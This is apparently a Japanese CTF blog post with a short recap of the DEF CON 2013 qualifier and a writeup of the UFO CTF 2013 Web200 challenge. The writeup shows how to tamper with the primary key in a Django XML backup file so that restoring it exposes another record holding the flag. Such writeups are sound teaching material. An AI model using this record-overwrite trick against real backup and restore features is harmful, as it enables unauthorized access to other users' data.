DEF CON CTF Qualifier 2013

問題解いてた時のログが残ってないし、探せば他が出てくると思うのでwriteupは書きません。
一応、webを何問かとprogramming2問ほどを解きました。

うちを含め多くのチームがweb問題を全完しており、今回のweb問題は易しかったように感じます。

開始直後は、8-puzzleのprogrammingを解いて7位くらいだったけど、最終的には79位となった。

2日目・3日目は学校をサボって灘高にいて、チームで問題を解いてたらだんだん正気が保てなくなってきた。

DEFCONが僕達に残したもの
DSC_0131

UFO CTF 2013 writeup – Web200

Those aliens consider themselves as the most smart creatures in
the world. Pff. They shouldn't even have tried to defeat mankind
having such stupid stuff in their heads! As for you, why wouldn't
you hack them? They'll most likely surrender then. By the way, it
is known that they update some data every 10-20 seconds, but
unfortunately our equipment can't intercept the data itself.
 
http://superhosting.tasks.ufoctf.ru:8000/

自分のウェブページが作れ、バックアップと復元ができるシステムになっている。

バックアップしてみると、[username]_[md5(username)][md5(zipfile)].zipという名前でzipファイルがダウンロードでき、それをアップロードすることで復元ができるようになっている。
zipファイルの中身を解凍すると、.backupという名前で以下のようなファイルが入っている。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="12349813568" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
		<field type="CharField" name="owner_email">test@localhost</field>
		<field type="CharField" name="page_title">My homepage</field>
		<field type="TextField" name="page_content">Hello everyone! This is my new homepage.</field>
		<field type="CharField" name="page_footer">Made with love and care</field>
		<field type="BooleanField" name="page_is_public">False</field>
		<field type="CharField" name="page_public_id"></field>
	</object>
</django-objects>

いろいろと試した結果、復元時にpk(primary key)を変えた場合にそのpkを持つフィールドのデータを上書きすることができるとわかった。

以下のようなxmlファイルを含めて復元し、再びバックアップをダウンロードすると、pk=1のデータの入ったバックアップファイルが手に入り、pk=1のデータにflagが書かれていた。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="1" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
	</object>
</django-objects>